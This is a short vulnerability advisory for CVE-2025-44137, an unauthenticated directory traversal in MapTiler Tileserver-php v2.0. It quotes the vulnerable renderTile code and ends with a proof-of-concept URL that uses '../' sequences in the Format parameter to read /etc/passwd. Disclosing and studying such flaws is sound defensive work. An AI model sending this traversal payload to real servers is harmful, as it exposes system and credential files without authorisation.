CVE-2025-44137

Unauthenticated File Read in MapTiler Tileserver-php v2.0.

Description

MapTiler Tileserver-php v2.0 is vulnerable to Directory Traversal. The renderTile function within tileserver.php is responsible for delivering tiles that are stored as files on the server via web request. Creating the path to a file allows the use of '../', which can be used to read any file on the web server. Affected GET parameters are "TileMatrix", "TileRow", "TileCol" and "Format"

https://github.com/maptiler/tileserver-php/blob/d0fdeaec69688dc500b652a23669d724d7d53df2/tileserver.php#L381-L398

      $name = './' . $tileset . '/' . $z . '/' . $x . '/' . $y;
      $mime = 'image/';
      if($ext != null){
        $name .= '.' . $ext;
      }
      if ($fp = @fopen($name, 'rb')) {
        if($ext != null){
          $mime .= $ext;
        }else{
          //detect image type from file
          $mimetypes = ['gif', 'jpeg', 'png'];
          $mime .= $mimetypes[exif_imagetype($name) - 1];
        }
        header('Access-Control-Allow-Origin: *');
        header('Content-Type: ' . $mime);
        header('Content-Length: ' . filesize($name));
        fpassthru($fp);
        die;

PoC

http://localhost/tileserver.php/x/1/1/1?Format=/../../../../../../../../../../../../../../etc/passwd&Request=x&layer=.